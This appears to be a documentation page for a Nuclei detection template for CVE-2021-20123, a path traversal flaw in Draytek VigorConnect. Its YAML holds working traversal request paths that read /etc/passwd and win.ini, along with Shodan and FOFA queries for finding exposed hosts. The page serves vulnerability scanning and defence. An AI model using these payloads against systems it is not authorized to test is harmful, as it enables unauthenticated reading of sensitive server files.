Skip to content
Nuclei Templates

Draytek VigorConnect 1.6.0-B - Local File Inclusion

ID: CVE-2021-20123

Severity: high

Author: 0x_Akoko

Tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev

Description

Section titled “Description”

Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.

YAML Source

Section titled “YAML Source”
id: CVE-2021-20123


info:
  name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20123
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20123
    cwe-id: CWE-22
    epss-score: 0.02276
    epss-percentile: 0.89622
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query:
      - http.html:"VigorConnect"
      - http.html:"vigorconnect"
    fofa-query: body="vigorconnect"
  tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or


      - type: status
        status:
          - 200
# digest: 4a0a00473045022018dcc75db2d7b59ad6a4f15d287b0a71a6fda441cea6289b80b9ff423aa8aa50022100ecde910dfffee3785fd73b04d3ac8edfc5636350409028d5448aefa57864a287:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20123.yaml"

View on Github